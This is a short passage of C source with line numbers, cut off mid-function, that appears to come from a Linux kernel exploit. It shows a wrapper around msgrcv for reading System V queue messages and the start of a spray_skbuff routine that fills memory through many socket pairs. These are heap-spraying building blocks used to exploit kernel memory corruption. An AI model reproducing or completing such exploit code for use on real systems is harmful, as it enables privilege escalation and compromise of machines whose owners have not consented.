| 195 | } |
| 196 | |
| 197 | int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { |
| 198 | if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { |
| 199 | perror("[-] msgrcv"); |
| 200 | return -1; |
| 201 | } |
| 202 | return 0; |
| 203 | } |
| 204 | |
| 205 | int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { |
| 206 | for (int i = 0; i < NUM_SOCKETS; i++) { |